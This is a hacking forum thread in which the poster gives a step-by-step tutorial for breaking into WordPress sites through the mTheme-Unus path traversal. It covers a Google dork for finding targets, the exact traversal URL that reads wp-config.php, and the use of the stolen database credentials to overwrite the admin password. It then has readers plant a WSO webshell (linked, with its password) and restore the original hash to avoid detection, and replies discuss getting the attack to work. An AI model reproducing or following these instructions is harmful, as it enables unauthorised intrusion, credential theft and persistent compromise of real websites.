[ｍＯｂｉＩｅ]

[img]http://www.binaryideasmobile.com/assets/public_/images/img_app.png[/img]

A few days ago Killabιts~ posted the latest public WordPress exploit..

https://hackforums.net/showthread.php?tid=4777782

Source:

http://www.exploit-db.com/exploits/36733/

But did not really go into detail how to fully run this, so I thought I'd explain to some of you how it's done.

Tutorial:

1.) Google Dork:

PHP Code


<?php 
inurl:?fdx_switcher=mobile 


2.) Pick a target from google and add this path to the end of the URL:

PHP Code


<?php 
/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php 


EXAMPLE:

PHP Code


<?php 
http://target.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php 


3.) If the target is vulnerable you will see the wp.config.php file.


4.) Notice the MySQL database credentials ;

DB_NAME:
DB_USER:
DB_PASSWORD:
DB_HOST:

There are 3 methods you can try to connect to the database.

Method #1:
Use a database administration tool for MySQL. like DBkiss or Adminer. If you don't have one you can use DBkiss hosted from my tool-box.

PHP Code


<?php 
http://www.fitsolutions.com.tr/wp-content/themes/vflex/dbkiss2.php 


Next enter the database credentials, if you see "localhost" under DB_HOST: Use a URL to IP Converter to resolve the server IP.

PHP Code


<?php 
http://freelabs.info/urltoiponline.aspx 


Then connect.

If successful, locate a user directory like "wp-users" "users" ..ect and click edit.


Next copy the admin/users password and paste it in a notepad (you will need it later)

Now go to a MD5 hash generator and create a password of your choosing and paste it in the same notepad.

PHP Code


<?php 
http://www.md5hashgenerator.com/index.php 


Ok now go back, edit and paste your MD5 password under admin's pass, and click Edit.





Ok now that, that's done, let's login at:

PHP Code


<?php 
http://www.target.com/wp-login.php 


WordPress Dashboard:

---

Method #2:
If method 1 does not work, you can try:

PHP Code


<?php 
/phpmyadmin/index.php
/phpMyAdmin/index.php
/pma/index.php 


EXAMPLE:

PHP Code


<?php 
http://target.com/phpmyadmin/index.php 


Like in method 1 change the admin password with your own. then login.

PHP Code


<?php 
http://www.target.com/wp-login.php 


Method #3:
This method is a last resort. Some admins are stupid enough to use the same password for the MySQL database and WP Dashboard login. Just enter the details in the wp-login. And 80% of the time the username will be admin

UPLOAD YOUR SHELL THROUGH WORDPRESS DASHBOARD:

Now that were in the WordPress Dashboard let's put our webshell on the site. To do that there are 2 method you can use. First you're gonna need a webshell. If you don't have one I've provided one I use in the link below.
WSO 2.6 Webshell:

http://pastebin.com/LFnPNNr6

PASSWORD: revolution

First Method:
1.) Once you gain access to the dashboard you will be able to upload your shell to the site by clicking on Appearance then Editor.


2.) On the left under Templates click on 404 template (404.php)


3.) Next paste your shell code and click "Upload File"


4.) Enter URL below to access your shell.

PHP Code


<?php 
www.target/wp-content/themes/THEME NAME /404.php 


Click in the middle of the page for the hidden login and enter the shell password: revolution



Second Method:
Sometimes it will not let you edit themes from the dashboard to bypass this you need to download a free WordPress theme at:

https://wordpress.org/themes/browse/popular/

1.)Next open theme.zip and delete the 404.php from the theme.

Next open a notepad and cut-n-paste the shell code into it and save it as 404.php and then move it into your theme, and save. Now our shell is in the theme.

2.) Ok now let's upload our theme. Go to Appearance then themes.


3.) Click Install Themes then Upload and install your theme.zip



4.) Enter URL below to access your shell.

PHP Code


<?php 
www.target/wp-content/themes/THEME NAME /404.php 


Click in the middle of the page for the hidden login and enter the shell password: revolution



Congratulations! You just shelled a WordPress Website. 🎉 From here you can edit/delete ANYTHING on the site, but please do not, these people work hard on there websites so it's best to leave it alone. Instead, save it and use it to host scripts/pics/html/php ..ect

Were not done, remember I told you to save the admins password? To stay undetected replace the admins password in the Database and click Edit/Go and logout. Now everything is back to normal, but we now have our shell on the site. That's it, there are a ton of WordPress website vulnerable to this exploit. Have fun! 🤝

['Cynical]

Every time I try this, I can't get into the DB due to it saying that the mySQL request was unaccepted or w/e, and /pma/, /phpmyadmin/, and /phpMyAdmin/ don't exist. :'(

Nice tutorial, though. 👍

[ｍＯｂｉＩｅ]

::::::More WordPress Hacking Tutorials::::::

https://hackforums.net/showthread.php?tid=4756985

https://hackforums.net/showthread.php?tid=4751712

https://hackforums.net/showthread.php?tid=2667946

https://hackforums.net/showthread.php?tid=2312449

[F-Nuke]

You seem to be replacing a Blowfish salted PHPass encryption with an normal MD5 encryption. How is this gonna work?
Please correct me if I'm wrong.

['Cynical]

You seem to be replacing a Blowfish encryption with an MD5 encryption. How is this gonna work?
Please correct me if I'm wrong.

Wordpress uses md5(unix), which, I believe, is why it works...

Not entirely sure.

[AegisHecate]

Can't find a single site that I can even add /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php to the end of -.-

[F-Nuke]

Wordpress uses md5(unix), which, I believe, is why it works...

Not entirely sure.

In the picture, the previously existing hashes are blowfish phpass. PHPass uses a salt. How does a normal md5 encryption work in this case? Correct me if I'm wrong.

[r0ml4h]

HQ tut, very detailed tutorial 🤝

[CaFeR]

How can we find the DataBase? I didn't see.

[Ooze]

Thank you for this man I love your exploit posts and tutorials.
Keep up the HQ posting!
Also how do I log in to your site cause its asks for a username and pass.

[xXNepalmXx]

Btw can't login into a single MySQL database cause it says everytime error... this exploit is useless for me.

[๖ۣۜƙ!ʟʟabiтs.~]

Thanks for detailing this, very good job buddy.

[sp3ctrum]

In the picture, the previously existing hashes are blowfish phpass. PHPass uses a salt. How does a normal md5 encryption work in this case? Correct me if I'm wrong.

This isn't blowfish. You can extend WordPress to use a blowfish or DES 16 pass encryption but this is just the default 8 pass MD5 encryption that WordPress implements. If upgraded and a salt is used the hash layout will be ($hashtype$salt$password) notice how ($) is not present in the middle of the hashed password. This concludes that a salt was not used, and it's the default hashing function. Also you can manually reset the hashed password to normal MD5 in the database, but upon first login WordPress will change the standard MD5 to the default 8 pass MD5 hashing function. Older versions of WordPress supported MD5 so I guess with updates they just changed the algorithm used to make everything a bit more secure.

[hyhyyhhrf3]

this is probably the only guy who posts real hacking shit

[vendettalogzz]

Been searching for the theme name
Thanks for the tutorial bro